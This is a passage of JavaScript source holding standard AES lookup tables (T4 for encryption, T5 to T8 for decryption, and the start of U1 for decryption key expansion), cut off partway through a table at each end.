0xb2cd7fb2, 0x759fea75, 0x091b1209, 0x839e1d83, 0x2c74582c, 0x1a2e341a, 0x1b2d361b, 0x6eb2dc6e, 0x5aeeb45a, 0xa0fb5ba0, 0x52f6a452, 0x3b4d763b, 0xd661b7d6, 0xb3ce7db3, 0x297b5229, 0xe33edde3, 0x2f715e2f, 0x84971384, 0x53f5a653, 0xd168b9d1, 0x00000000, 0xed2cc1ed, 0x20604020, 0xfc1fe3fc, 0xb1c879b1, 0x5bedb65b, 0x6abed46a, 0xcb468dcb, 0xbed967be, 0x394b7239, 0x4ade944a, 0x4cd4984c, 0x58e8b058, 0xcf4a85cf, 0xd06bbbd0, 0xef2ac5ef, 0xaae54faa, 0xfb16edfb, 0x43c58643, 0x4dd79a4d, 0x33556633, 0x85941185, 0x45cf8a45, 0xf910e9f9, 0x02060402, 0x7f81fe7f, 0x50f0a050, 0x3c44783c, 0x9fba259f, 0xa8e34ba8, 0x51f3a251, 0xa3fe5da3, 0x40c08040, 0x8f8a058f, 0x92ad3f92, 0x9dbc219d, 0x38487038, 0xf504f1f5, 0xbcdf63bc, 0xb6c177b6, 0xda75afda, 0x21634221, 0x10302010, 0xff1ae5ff, 0xf30efdf3, 0xd26dbfd2, 0xcd4c81cd, 0x0c14180c, 0x13352613, 0xec2fc3ec, 0x5fe1be5f, 0x97a23597, 0x44cc8844, 0x17392e17, 0xc45793c4, 0xa7f255a7, 0x7e82fc7e, 0x3d477a3d, 0x64acc864, 0x5de7ba5d, 0x192b3219, 0x7395e673, 0x60a0c060, 0x81981981, 0x4fd19e4f, 0xdc7fa3dc, 0x22664422, 0x2a7e542a, 0x90ab3b90, 0x88830b88, 0x46ca8c46, 0xee29c7ee, 0xb8d36bb8, 0x143c2814, 0xde79a7de, 0x5ee2bc5e, 0x0b1d160b, 0xdb76addb, 0xe03bdbe0, 0x32566432, 0x3a4e743a, 0x0a1e140a, 0x49db9249, 0x060a0c06, 0x246c4824, 0x5ce4b85c, 0xc25d9fc2, 0xd36ebdd3, 0xacef43ac, 0x62a6c462, 0x91a83991, 0x95a43195, 0xe437d3e4, 0x798bf279, 0xe732d5e7, 0xc8438bc8, 0x37596e37, 0x6db7da6d, 0x8d8c018d, 0xd564b1d5, 0x4ed29c4e, 0xa9e049a9, 0x6cb4d86c, 0x56faac56, 0xf407f3f4, 0xea25cfea, 0x65afca65, 0x7a8ef47a, 0xaee947ae, 0x08181008, 0xbad56fba, 0x7888f078, 0x256f4a25, 0x2e725c2e, 0x1c24381c, 0xa6f157a6, 0xb4c773b4, 0xc65197c6, 0xe823cbe8, 0xdd7ca1dd, 0x749ce874, 0x1f213e1f, 0x4bdd964b, 0xbddc61bd, 0x8b860d8b, 0x8a850f8a, 0x7090e070, 0x3e427c3e, 0xb5c471b5, 0x66aacc66, 0x48d89048, 0x03050603, 0xf601f7f6, 0x0e121c0e, 0x61a3c261, 0x355f6a35, 0x57f9ae57, 0xb9d069b9, 0x86911786, 0xc15899c1, 0x1d273a1d, 0x9eb9279e, 0xe138d9e1, 0xf813ebf8, 0x98b32b98, 0x11332211, 0x69bbd269, 0xd970a9d9, 0x8e89078e, 0x94a73394, 0x9bb62d9b, 0x1e223c1e, 0x87921587, 0xe920c9e9, 0xce4987ce, 0x55ffaa55, 0x28785028, 0xdf7aa5df, 0x8c8f038c, 0xa1f859a1, 0x89800989, 0x0d171a0d, 0xbfda65bf, 0xe631d7e6, 0x42c68442, 0x68b8d068, 0x41c38241, 0x99b02999, 0x2d775a2d, 0x0f111e0f, 0xb0cb7bb0, 0x54fca854, 0xbbd66dbb, 0x163a2c16];\nconst T4 = [0x6363a5c6, 0x7c7c84f8, 0x777799ee, 0x7b7b8df6, 0xf2f20dff, 0x6b6bbdd6, 0x6f6fb1de, 0xc5c55491, 0x30305060, 0x01010302, 0x6767a9ce, 0x2b2b7d56, 0xfefe19e7, 0xd7d762b5, 0xababe64d, 0x76769aec, 0xcaca458f, 0x82829d1f, 0xc9c94089, 0x7d7d87fa, 0xfafa15ef, 0x5959ebb2, 0x4747c98e, 0xf0f00bfb, 0xadadec41, 0xd4d467b3, 0xa2a2fd5f, 0xafafea45, 0x9c9cbf23, 0xa4a4f753, 0x727296e4, 0xc0c05b9b, 0xb7b7c275, 0xfdfd1ce1, 0x9393ae3d, 0x26266a4c, 0x36365a6c, 0x3f3f417e, 0xf7f702f5, 0xcccc4f83, 0x34345c68, 0xa5a5f451, 0xe5e534d1, 0xf1f108f9, 0x717193e2, 0xd8d873ab, 0x31315362, 0x15153f2a, 0x04040c08, 0xc7c75295, 0x23236546, 0xc3c35e9d, 0x18182830, 0x9696a137, 0x05050f0a, 0x9a9ab52f, 0x0707090e, 0x12123624, 0x80809b1b, 0xe2e23ddf, 0xebeb26cd, 0x2727694e, 0xb2b2cd7f, 0x75759fea, 0x09091b12, 0x83839e1d, 0x2c2c7458, 0x1a1a2e34, 0x1b1b2d36, 0x6e6eb2dc, 0x5a5aeeb4, 0xa0a0fb5b, 0x5252f6a4, 0x3b3b4d76, 0xd6d661b7, 0xb3b3ce7d, 0x29297b52, 0xe3e33edd, 0x2f2f715e, 0x84849713, 0x5353f5a6, 0xd1d168b9, 0x00000000, 0xeded2cc1, 0x20206040, 0xfcfc1fe3, 0xb1b1c879, 0x5b5bedb6, 0x6a6abed4, 0xcbcb468d, 0xbebed967, 0x39394b72, 0x4a4ade94, 0x4c4cd498, 0x5858e8b0, 0xcfcf4a85, 0xd0d06bbb, 0xefef2ac5, 0xaaaae54f, 0xfbfb16ed, 0x4343c586, 0x4d4dd79a, 0x33335566, 0x85859411, 0x4545cf8a, 0xf9f910e9, 0x02020604, 0x7f7f81fe, 0x5050f0a0, 0x3c3c4478, 0x9f9fba25, 0xa8a8e34b, 0x5151f3a2, 0xa3a3fe5d, 0x4040c080, 0x8f8f8a05, 0x9292ad3f, 0x9d9dbc21, 0x38384870, 0xf5f504f1, 0xbcbcdf63, 0xb6b6c177, 0xdada75af, 0x21216342, 0x10103020, 0xffff1ae5, 0xf3f30efd, 0xd2d26dbf, 0xcdcd4c81, 0x0c0c1418, 0x13133526, 0xecec2fc3, 0x5f5fe1be, 0x9797a235, 0x4444cc88, 0x1717392e, 0xc4c45793, 0xa7a7f255, 0x7e7e82fc, 0x3d3d477a, 0x6464acc8, 0x5d5de7ba, 0x19192b32, 0x737395e6, 0x6060a0c0, 0x81819819, 0x4f4fd19e, 0xdcdc7fa3, 0x22226644, 0x2a2a7e54, 0x9090ab3b, 0x8888830b, 0x4646ca8c, 0xeeee29c7, 0xb8b8d36b, 0x14143c28, 0xdede79a7, 0x5e5ee2bc, 0x0b0b1d16, 0xdbdb76ad, 0xe0e03bdb, 0x32325664, 0x3a3a4e74, 0x0a0a1e14, 0x4949db92, 0x06060a0c, 0x24246c48, 0x5c5ce4b8, 0xc2c25d9f, 0xd3d36ebd, 0xacacef43, 0x6262a6c4, 0x9191a839, 0x9595a431, 0xe4e437d3, 0x79798bf2, 0xe7e732d5, 0xc8c8438b, 0x3737596e, 0x6d6db7da, 0x8d8d8c01, 0xd5d564b1, 0x4e4ed29c, 0xa9a9e049, 0x6c6cb4d8, 0x5656faac, 0xf4f407f3, 0xeaea25cf, 0x6565afca, 0x7a7a8ef4, 0xaeaee947, 0x08081810, 0xbabad56f, 0x787888f0, 0x25256f4a, 0x2e2e725c, 0x1c1c2438, 0xa6a6f157, 0xb4b4c773, 0xc6c65197, 0xe8e823cb, 0xdddd7ca1, 0x74749ce8, 0x1f1f213e, 0x4b4bdd96, 0xbdbddc61, 0x8b8b860d, 0x8a8a850f, 0x707090e0, 0x3e3e427c, 0xb5b5c471, 0x6666aacc, 0x4848d890, 0x03030506, 0xf6f601f7, 0x0e0e121c, 0x6161a3c2, 0x35355f6a, 0x5757f9ae, 0xb9b9d069, 0x86869117, 0xc1c15899, 0x1d1d273a, 0x9e9eb927, 0xe1e138d9, 0xf8f813eb, 0x9898b32b, 0x11113322, 0x6969bbd2, 0xd9d970a9, 0x8e8e8907, 0x9494a733, 0x9b9bb62d, 0x1e1e223c, 0x87879215, 0xe9e920c9, 0xcece4987, 0x5555ffaa, 0x28287850, 0xdfdf7aa5, 0x8c8c8f03, 0xa1a1f859, 0x89898009, 0x0d0d171a, 0xbfbfda65, 0xe6e631d7, 0x4242c684, 0x6868b8d0, 0x4141c382, 0x9999b029, 0x2d2d775a, 0x0f0f111e, 0xb0b0cb7b, 0x5454fca8, 0xbbbbd66d, 0x16163a2c];\n// Transformations for decryption\nconst T5 = [0x51f4a750, 0x7e416553, 0x1a17a4c3, 0x3a275e96, 0x3bab6bcb, 0x1f9d45f1, 0xacfa58ab, 0x4be30393, 0x2030fa55, 0xad766df6, 0x88cc7691, 0xf5024c25, 0x4fe5d7fc, 0xc52acbd7, 0x26354480, 0xb562a38f, 0xdeb15a49, 0x25ba1b67, 0x45ea0e98, 0x5dfec0e1, 0xc32f7502, 0x814cf012, 0x8d4697a3, 0x6bd3f9c6, 0x038f5fe7, 0x15929c95, 0xbf6d7aeb, 0x955259da, 0xd4be832d, 0x587421d3, 0x49e06929, 0x8ec9c844, 0x75c2896a, 0xf48e7978, 0x99583e6b, 0x27b971dd, 0xbee14fb6, 0xf088ad17, 0xc920ac66, 0x7dce3ab4, 0x63df4a18, 0xe51a3182, 0x97513360, 0x62537f45, 0xb16477e0, 0xbb6bae84, 0xfe81a01c, 0xf9082b94, 0x70486858, 0x8f45fd19, 0x94de6c87, 0x527bf8b7, 0xab73d323, 0x724b02e2, 0xe31f8f57, 0x6655ab2a, 0xb2eb2807, 0x2fb5c203, 0x86c57b9a, 0xd33708a5, 0x302887f2, 0x23bfa5b2, 0x02036aba, 0xed16825c, 0x8acf1c2b, 0xa779b492, 0xf307f2f0, 0x4e69e2a1, 0x65daf4cd, 0x0605bed5, 0xd134621f, 0xc4a6fe8a, 0x342e539d, 0xa2f355a0, 0x058ae132, 0xa4f6eb75, 0x0b83ec39, 0x4060efaa, 0x5e719f06, 0xbd6e1051, 0x3e218af9, 0x96dd063d, 0xdd3e05ae, 0x4de6bd46, 0x91548db5, 0x71c45d05, 0x0406d46f, 0x605015ff, 0x1998fb24, 0xd6bde997, 0x894043cc, 0x67d99e77, 0xb0e842bd, 0x07898b88, 0xe7195b38, 0x79c8eedb, 0xa17c0a47, 0x7c420fe9, 0xf8841ec9, 0x00000000, 0x09808683, 0x322bed48, 0x1e1170ac, 0x6c5a724e, 0xfd0efffb, 0x0f853856, 0x3daed51e, 0x362d3927, 0x0a0fd964, 0x685ca621, 0x9b5b54d1, 0x24362e3a, 0x0c0a67b1, 0x9357e70f, 0xb4ee96d2, 0x1b9b919e, 0x80c0c54f, 0x61dc20a2, 0x5a774b69, 0x1c121a16, 0xe293ba0a, 0xc0a02ae5, 0x3c22e043, 0x121b171d, 0x0e090d0b, 0xf28bc7ad, 0x2db6a8b9, 0x141ea9c8, 0x57f11985, 0xaf75074c, 0xee99ddbb, 0xa37f60fd, 0xf701269f, 0x5c72f5bc, 0x44663bc5, 0x5bfb7e34, 0x8b432976, 0xcb23c6dc, 0xb6edfc68, 0xb8e4f163, 0xd731dcca, 0x42638510, 0x13972240, 0x84c61120, 0x854a247d, 0xd2bb3df8, 0xaef93211, 0xc729a16d, 0x1d9e2f4b, 0xdcb230f3, 0x0d8652ec, 0x77c1e3d0, 0x2bb3166c, 0xa970b999, 0x119448fa, 0x47e96422, 0xa8fc8cc4, 0xa0f03f1a, 0x567d2cd8, 0x223390ef, 0x87494ec7, 0xd938d1c1, 0x8ccaa2fe, 0x98d40b36, 0xa6f581cf, 0xa57ade28, 0xdab78e26, 0x3fadbfa4, 0x2c3a9de4, 0x5078920d, 0x6a5fcc9b, 0x547e4662, 0xf68d13c2, 0x90d8b8e8, 0x2e39f75e, 0x82c3aff5, 0x9f5d80be, 0x69d0937c, 0x6fd52da9, 0xcf2512b3, 0xc8ac993b, 0x10187da7, 0xe89c636e, 0xdb3bbb7b, 0xcd267809, 0x6e5918f4, 0xec9ab701, 0x834f9aa8, 0xe6956e65, 0xaaffe67e, 0x21bccf08, 0xef15e8e6, 0xbae79bd9, 0x4a6f36ce, 0xea9f09d4, 0x29b07cd6, 0x31a4b2af, 0x2a3f2331, 0xc6a59430, 0x35a266c0, 0x744ebc37, 0xfc82caa6, 0xe090d0b0, 0x33a7d815, 0xf104984a, 0x41ecdaf7, 0x7fcd500e, 0x1791f62f, 0x764dd68d, 0x43efb04d, 0xccaa4d54, 0xe49604df, 0x9ed1b5e3, 0x4c6a881b, 0xc12c1fb8, 0x4665517f, 0x9d5eea04, 0x018c355d, 0xfa877473, 0xfb0b412e, 0xb3671d5a, 0x92dbd252, 0xe9105633, 0x6dd64713, 0x9ad7618c, 0x37a10c7a, 0x59f8148e, 0xeb133c89, 0xcea927ee, 0xb761c935, 0xe11ce5ed, 0x7a47b13c, 0x9cd2df59, 0x55f2733f, 0x1814ce79, 0x73c737bf, 0x53f7cdea, 0x5ffdaa5b, 0xdf3d6f14, 0x7844db86, 0xcaaff381, 0xb968c43e, 0x3824342c, 0xc2a3405f, 0x161dc372, 0xbce2250c, 0x283c498b, 0xff0d9541, 0x39a80171, 0x080cb3de, 0xd8b4e49c, 0x6456c190, 0x7bcb8461, 0xd532b670, 0x486c5c74, 0xd0b85742];\nconst T6 = [0x5051f4a7, 0x537e4165, 0xc31a17a4, 0x963a275e, 0xcb3bab6b, 0xf11f9d45, 0xabacfa58, 0x934be303, 0x552030fa, 0xf6ad766d, 0x9188cc76, 0x25f5024c, 0xfc4fe5d7, 0xd7c52acb, 0x80263544, 0x8fb562a3, 0x49deb15a, 0x6725ba1b, 0x9845ea0e, 0xe15dfec0, 0x02c32f75, 0x12814cf0, 0xa38d4697, 0xc66bd3f9, 0xe7038f5f, 0x9515929c, 0xebbf6d7a, 0xda955259, 0x2dd4be83, 0xd3587421, 0x2949e069, 0x448ec9c8, 0x6a75c289, 0x78f48e79, 0x6b99583e, 0xdd27b971, 0xb6bee14f, 0x17f088ad, 0x66c920ac, 0xb47dce3a, 0x1863df4a, 0x82e51a31, 0x60975133, 0x4562537f, 0xe0b16477, 0x84bb6bae, 0x1cfe81a0, 0x94f9082b, 0x58704868, 0x198f45fd, 0x8794de6c, 0xb7527bf8, 0x23ab73d3, 0xe2724b02, 0x57e31f8f, 0x2a6655ab, 0x07b2eb28, 0x032fb5c2, 0x9a86c57b, 0xa5d33708, 0xf2302887, 0xb223bfa5, 0xba02036a, 0x5ced1682, 0x2b8acf1c, 0x92a779b4, 0xf0f307f2, 0xa14e69e2, 0xcd65daf4, 0xd50605be, 0x1fd13462, 0x8ac4a6fe, 0x9d342e53, 0xa0a2f355, 0x32058ae1, 0x75a4f6eb, 0x390b83ec, 0xaa4060ef, 0x065e719f, 0x51bd6e10, 0xf93e218a, 0x3d96dd06, 0xaedd3e05, 0x464de6bd, 0xb591548d, 0x0571c45d, 0x6f0406d4, 0xff605015, 0x241998fb, 0x97d6bde9, 0xcc894043, 0x7767d99e, 0xbdb0e842, 0x8807898b, 0x38e7195b, 0xdb79c8ee, 0x47a17c0a, 0xe97c420f, 0xc9f8841e, 0x00000000, 0x83098086, 0x48322bed, 0xac1e1170, 0x4e6c5a72, 0xfbfd0eff, 0x560f8538, 0x1e3daed5, 0x27362d39, 0x640a0fd9, 0x21685ca6, 0xd19b5b54, 0x3a24362e, 0xb10c0a67, 0x0f9357e7, 0xd2b4ee96, 0x9e1b9b91, 0x4f80c0c5, 0xa261dc20, 0x695a774b, 0x161c121a, 0x0ae293ba, 0xe5c0a02a, 0x433c22e0, 0x1d121b17, 0x0b0e090d, 0xadf28bc7, 0xb92db6a8, 0xc8141ea9, 0x8557f119, 0x4caf7507, 0xbbee99dd, 0xfda37f60, 0x9ff70126, 0xbc5c72f5, 0xc544663b, 0x345bfb7e, 0x768b4329, 0xdccb23c6, 0x68b6edfc, 0x63b8e4f1, 0xcad731dc, 0x10426385, 0x40139722, 0x2084c611, 0x7d854a24, 0xf8d2bb3d, 0x11aef932, 0x6dc729a1, 0x4b1d9e2f, 0xf3dcb230, 0xec0d8652, 0xd077c1e3, 0x6c2bb316, 0x99a970b9, 0xfa119448, 0x2247e964, 0xc4a8fc8c, 0x1aa0f03f, 0xd8567d2c, 0xef223390, 0xc787494e, 0xc1d938d1, 0xfe8ccaa2, 0x3698d40b, 0xcfa6f581, 0x28a57ade, 0x26dab78e, 0xa43fadbf, 0xe42c3a9d, 0x0d507892, 0x9b6a5fcc, 0x62547e46, 0xc2f68d13, 0xe890d8b8, 0x5e2e39f7, 0xf582c3af, 0xbe9f5d80, 0x7c69d093, 0xa96fd52d, 0xb3cf2512, 0x3bc8ac99, 0xa710187d, 0x6ee89c63, 0x7bdb3bbb, 0x09cd2678, 0xf46e5918, 0x01ec9ab7, 0xa8834f9a, 0x65e6956e, 0x7eaaffe6, 0x0821bccf, 0xe6ef15e8, 0xd9bae79b, 0xce4a6f36, 0xd4ea9f09, 0xd629b07c, 0xaf31a4b2, 0x312a3f23, 0x30c6a594, 0xc035a266, 0x37744ebc, 0xa6fc82ca, 0xb0e090d0, 0x1533a7d8, 0x4af10498, 0xf741ecda, 0x0e7fcd50, 0x2f1791f6, 0x8d764dd6, 0x4d43efb0, 0x54ccaa4d, 0xdfe49604, 0xe39ed1b5, 0x1b4c6a88, 0xb8c12c1f, 0x7f466551, 0x049d5eea, 0x5d018c35, 0x73fa8774, 0x2efb0b41, 0x5ab3671d, 0x5292dbd2, 0x33e91056, 0x136dd647, 0x8c9ad761, 0x7a37a10c, 0x8e59f814, 0x89eb133c, 0xeecea927, 0x35b761c9, 0xede11ce5, 0x3c7a47b1, 0x599cd2df, 0x3f55f273, 0x791814ce, 0xbf73c737, 0xea53f7cd, 0x5b5ffdaa, 0x14df3d6f, 0x867844db, 0x81caaff3, 0x3eb968c4, 0x2c382434, 0x5fc2a340, 0x72161dc3, 0x0cbce225, 0x8b283c49, 0x41ff0d95, 0x7139a801, 0xde080cb3, 0x9cd8b4e4, 0x906456c1, 0x617bcb84, 0x70d532b6, 0x74486c5c, 0x42d0b857];\nconst T7 = [0xa75051f4, 0x65537e41, 0xa4c31a17, 0x5e963a27, 0x6bcb3bab, 0x45f11f9d, 0x58abacfa, 0x03934be3, 0xfa552030, 0x6df6ad76, 0x769188cc, 0x4c25f502, 0xd7fc4fe5, 0xcbd7c52a, 0x44802635, 0xa38fb562, 0x5a49deb1, 0x1b6725ba, 0x0e9845ea, 0xc0e15dfe, 0x7502c32f, 0xf012814c, 0x97a38d46, 0xf9c66bd3, 0x5fe7038f, 0x9c951592, 0x7aebbf6d, 0x59da9552, 0x832dd4be, 0x21d35874, 0x692949e0, 0xc8448ec9, 0x896a75c2, 0x7978f48e, 0x3e6b9958, 0x71dd27b9, 0x4fb6bee1, 0xad17f088, 0xac66c920, 0x3ab47dce, 0x4a1863df, 0x3182e51a, 0x33609751, 0x7f456253, 0x77e0b164, 0xae84bb6b, 0xa01cfe81, 0x2b94f908, 0x68587048, 0xfd198f45, 0x6c8794de, 0xf8b7527b, 0xd323ab73, 0x02e2724b, 0x8f57e31f, 0xab2a6655, 0x2807b2eb, 0xc2032fb5, 0x7b9a86c5, 0x08a5d337, 0x87f23028, 0xa5b223bf, 0x6aba0203, 0x825ced16, 0x1c2b8acf, 0xb492a779, 0xf2f0f307, 0xe2a14e69, 0xf4cd65da, 0xbed50605, 0x621fd134, 0xfe8ac4a6, 0x539d342e, 0x55a0a2f3, 0xe132058a, 0xeb75a4f6, 0xec390b83, 0xefaa4060, 0x9f065e71, 0x1051bd6e, 0x8af93e21, 0x063d96dd, 0x05aedd3e, 0xbd464de6, 0x8db59154, 0x5d0571c4, 0xd46f0406, 0x15ff6050, 0xfb241998, 0xe997d6bd, 0x43cc8940, 0x9e7767d9, 0x42bdb0e8, 0x8b880789, 0x5b38e719, 0xeedb79c8, 0x0a47a17c, 0x0fe97c42, 0x1ec9f884, 0x00000000, 0x86830980, 0xed48322b, 0x70ac1e11, 0x724e6c5a, 0xfffbfd0e, 0x38560f85, 0xd51e3dae, 0x3927362d, 0xd9640a0f, 0xa621685c, 0x54d19b5b, 0x2e3a2436, 0x67b10c0a, 0xe70f9357, 0x96d2b4ee, 0x919e1b9b, 0xc54f80c0, 0x20a261dc, 0x4b695a77, 0x1a161c12, 0xba0ae293, 0x2ae5c0a0, 0xe0433c22, 0x171d121b, 0x0d0b0e09, 0xc7adf28b, 0xa8b92db6, 0xa9c8141e, 0x198557f1, 0x074caf75, 0xddbbee99, 0x60fda37f, 0x269ff701, 0xf5bc5c72, 0x3bc54466, 0x7e345bfb, 0x29768b43, 0xc6dccb23, 0xfc68b6ed, 0xf163b8e4, 0xdccad731, 0x85104263, 0x22401397, 0x112084c6, 0x247d854a, 0x3df8d2bb, 0x3211aef9, 0xa16dc729, 0x2f4b1d9e, 0x30f3dcb2, 0x52ec0d86, 0xe3d077c1, 0x166c2bb3, 0xb999a970, 0x48fa1194, 0x642247e9, 0x8cc4a8fc, 0x3f1aa0f0, 0x2cd8567d, 0x90ef2233, 0x4ec78749, 0xd1c1d938, 0xa2fe8cca, 0x0b3698d4, 0x81cfa6f5, 0xde28a57a, 0x8e26dab7, 0xbfa43fad, 0x9de42c3a, 0x920d5078, 0xcc9b6a5f, 0x4662547e, 0x13c2f68d, 0xb8e890d8, 0xf75e2e39, 0xaff582c3, 0x80be9f5d, 0x937c69d0, 0x2da96fd5, 0x12b3cf25, 0x993bc8ac, 0x7da71018, 0x636ee89c, 0xbb7bdb3b, 0x7809cd26, 0x18f46e59, 0xb701ec9a, 0x9aa8834f, 0x6e65e695, 0xe67eaaff, 0xcf0821bc, 0xe8e6ef15, 0x9bd9bae7, 0x36ce4a6f, 0x09d4ea9f, 0x7cd629b0, 0xb2af31a4, 0x23312a3f, 0x9430c6a5, 0x66c035a2, 0xbc37744e, 0xcaa6fc82, 0xd0b0e090, 0xd81533a7, 0x984af104, 0xdaf741ec, 0x500e7fcd, 0xf62f1791, 0xd68d764d, 0xb04d43ef, 0x4d54ccaa, 0x04dfe496, 0xb5e39ed1, 0x881b4c6a, 0x1fb8c12c, 0x517f4665, 0xea049d5e, 0x355d018c, 0x7473fa87, 0x412efb0b, 0x1d5ab367, 0xd25292db, 0x5633e910, 0x47136dd6, 0x618c9ad7, 0x0c7a37a1, 0x148e59f8, 0x3c89eb13, 0x27eecea9, 0xc935b761, 0xe5ede11c, 0xb13c7a47, 0xdf599cd2, 0x733f55f2, 0xce791814, 0x37bf73c7, 0xcdea53f7, 0xaa5b5ffd, 0x6f14df3d, 0xdb867844, 0xf381caaf, 0xc43eb968, 0x342c3824, 0x405fc2a3, 0xc372161d, 0x250cbce2, 0x498b283c, 0x9541ff0d, 0x017139a8, 0xb3de080c, 0xe49cd8b4, 0xc1906456, 0x84617bcb, 0xb670d532, 0x5c74486c, 0x5742d0b8];\nconst T8 = [0xf4a75051, 0x4165537e, 0x17a4c31a, 0x275e963a, 0xab6bcb3b, 0x9d45f11f, 0xfa58abac, 0xe303934b, 0x30fa5520, 0x766df6ad, 0xcc769188, 0x024c25f5, 0xe5d7fc4f, 0x2acbd7c5, 0x35448026, 0x62a38fb5, 0xb15a49de, 0xba1b6725, 0xea0e9845, 0xfec0e15d, 0x2f7502c3, 0x4cf01281, 0x4697a38d, 0xd3f9c66b, 0x8f5fe703, 0x929c9515, 0x6d7aebbf, 0x5259da95, 0xbe832dd4, 0x7421d358, 0xe0692949, 0xc9c8448e, 0xc2896a75, 0x8e7978f4, 0x583e6b99, 0xb971dd27, 0xe14fb6be, 0x88ad17f0, 0x20ac66c9, 0xce3ab47d, 0xdf4a1863, 0x1a3182e5, 0x51336097, 0x537f4562, 0x6477e0b1, 0x6bae84bb, 0x81a01cfe, 0x082b94f9, 0x48685870, 0x45fd198f, 0xde6c8794, 0x7bf8b752, 0x73d323ab, 0x4b02e272, 0x1f8f57e3, 0x55ab2a66, 0xeb2807b2, 0xb5c2032f, 0xc57b9a86, 0x3708a5d3, 0x2887f230, 0xbfa5b223, 0x036aba02, 0x16825ced, 0xcf1c2b8a, 0x79b492a7, 0x07f2f0f3, 0x69e2a14e, 0xdaf4cd65, 0x05bed506, 0x34621fd1, 0xa6fe8ac4, 0x2e539d34, 0xf355a0a2, 0x8ae13205, 0xf6eb75a4, 0x83ec390b, 0x60efaa40, 0x719f065e, 0x6e1051bd, 0x218af93e, 0xdd063d96, 0x3e05aedd, 0xe6bd464d, 0x548db591, 0xc45d0571, 0x06d46f04, 0x5015ff60, 0x98fb2419, 0xbde997d6, 0x4043cc89, 0xd99e7767, 0xe842bdb0, 0x898b8807, 0x195b38e7, 0xc8eedb79, 0x7c0a47a1, 0x420fe97c, 0x841ec9f8, 0x00000000, 0x80868309, 0x2bed4832, 0x1170ac1e, 0x5a724e6c, 0x0efffbfd, 0x8538560f, 0xaed51e3d, 0x2d392736, 0x0fd9640a, 0x5ca62168, 0x5b54d19b, 0x362e3a24, 0x0a67b10c, 0x57e70f93, 0xee96d2b4, 0x9b919e1b, 0xc0c54f80, 0xdc20a261, 0x774b695a, 0x121a161c, 0x93ba0ae2, 0xa02ae5c0, 0x22e0433c, 0x1b171d12, 0x090d0b0e, 0x8bc7adf2, 0xb6a8b92d, 0x1ea9c814, 0xf1198557, 0x75074caf, 0x99ddbbee, 0x7f60fda3, 0x01269ff7, 0x72f5bc5c, 0x663bc544, 0xfb7e345b, 0x4329768b, 0x23c6dccb, 0xedfc68b6, 0xe4f163b8, 0x31dccad7, 0x63851042, 0x97224013, 0xc6112084, 0x4a247d85, 0xbb3df8d2, 0xf93211ae, 0x29a16dc7, 0x9e2f4b1d, 0xb230f3dc, 0x8652ec0d, 0xc1e3d077, 0xb3166c2b, 0x70b999a9, 0x9448fa11, 0xe9642247, 0xfc8cc4a8, 0xf03f1aa0, 0x7d2cd856, 0x3390ef22, 0x494ec787, 0x38d1c1d9, 0xcaa2fe8c, 0xd40b3698, 0xf581cfa6, 0x7ade28a5, 0xb78e26da, 0xadbfa43f, 0x3a9de42c, 0x78920d50, 0x5fcc9b6a, 0x7e466254, 0x8d13c2f6, 0xd8b8e890, 0x39f75e2e, 0xc3aff582, 0x5d80be9f, 0xd0937c69, 0xd52da96f, 0x2512b3cf, 0xac993bc8, 0x187da710, 0x9c636ee8, 0x3bbb7bdb, 0x267809cd, 0x5918f46e, 0x9ab701ec, 0x4f9aa883, 0x956e65e6, 0xffe67eaa, 0xbccf0821, 0x15e8e6ef, 0xe79bd9ba, 0x6f36ce4a, 0x9f09d4ea, 0xb07cd629, 0xa4b2af31, 0x3f23312a, 0xa59430c6, 0xa266c035, 0x4ebc3774, 0x82caa6fc, 0x90d0b0e0, 0xa7d81533, 0x04984af1, 0xecdaf741, 0xcd500e7f, 0x91f62f17, 0x4dd68d76, 0xefb04d43, 0xaa4d54cc, 0x9604dfe4, 0xd1b5e39e, 0x6a881b4c, 0x2c1fb8c1, 0x65517f46, 0x5eea049d, 0x8c355d01, 0x877473fa, 0x0b412efb, 0x671d5ab3, 0xdbd25292, 0x105633e9, 0xd647136d, 0xd7618c9a, 0xa10c7a37, 0xf8148e59, 0x133c89eb, 0xa927eece, 0x61c935b7, 0x1ce5ede1, 0x47b13c7a, 0xd2df599c, 0xf2733f55, 0x14ce7918, 0xc737bf73, 0xf7cdea53, 0xfdaa5b5f, 0x3d6f14df, 0x44db8678, 0xaff381ca, 0x68c43eb9, 0x24342c38, 0xa3405fc2, 0x1dc37216, 0xe2250cbc, 0x3c498b28, 0x0d9541ff, 0xa8017139, 0x0cb3de08, 0xb4e49cd8, 0x56c19064, 0xcb84617b, 0x32b670d5, 0x6c5c7448, 0xb85742d0];\n// Transformations for decryption key expansion\nconst U1 = [0x00000000, 0x0e090d0b, 0x1c121a16, 0x121b171d, 0x3824342c, 0x362d3927, 0x24362e3a, 0x2a3f2331, 0x70486858, 0x7e416553, 0x6c5a724e, 0x62537f45, 0x486c5c74, 0x4665517f, 0x547e4662, 0x5a774b69, 0xe090d0b0, 0xee99ddbb, 0xfc82caa6, 0xf28bc7ad, 0xd8b4e49c, 0xd6bde997, 0xc4a6fe8a, 0xcaaff381, 0x90d8b8e8, 0x9ed1b5e3, 0x8ccaa2fe, 0x82c3aff5, 0xa8fc8cc4, 0xa6f581cf, 0xb4ee96d2, 0xbae79bd9, 0xdb3bbb7b, 0xd532b670, 0xc729a16d, 0xc920ac66, 0xe31f8f57, 0xed16825c, 0xff0d9541, 0xf104984a, 0xab73d323, 0xa57ade28, 0xb761c935, 0xb968c43e, 0x9357e70f, 0x9d5eea04, 0x8f45fd19, 0x814cf012, 0x3bab6bcb, 0x35a266c0, 0x27b971dd, 0x29b07cd6, 0x038f5fe7, 0x0d8652ec, 0x1f9d45f1, 0x119448fa, 0x4be30393, 0x45ea0e98, 0x57f11985, 0x59f8148e, 0x73c737bf, 0x7dce3ab4, 0x6fd52da9, 0x61dc20a2, 0xad766df6, 0xa37f60fd, 0xb16477e0, 0xbf6d7aeb, 0x955259da, 0x9b5b54d1, 0x894043cc, 0x87494ec7, 0xdd3e05ae, 0xd33708a5, 0xc12c1fb8, 0xcf2512b3, 0xe51a3182, 0xeb133c89, 0xf9082b94, 0xf701269f, 0x4de6bd46, 0x43efb04d, 0x51f4a750, 0x5ffdaa5b, 0x75c2896a, 0x7bcb8461, 0x69d0937c, 0x67d99e77, 0x3daed51e, 0x33a7d815, 0x21bccf08, 0x2fb5c203, 0x058ae132, 0x0b83ec39, 0x1998fb24, 0x1791f62f, 0x764dd68d, 0x7844db86, 0x6a5fcc9b, 0x6456c190, 0x4e69e2a1, 0x4060efaa, 0x527bf8b7, 0x5c72f5bc, 0x0605bed5, 0x080cb3de, 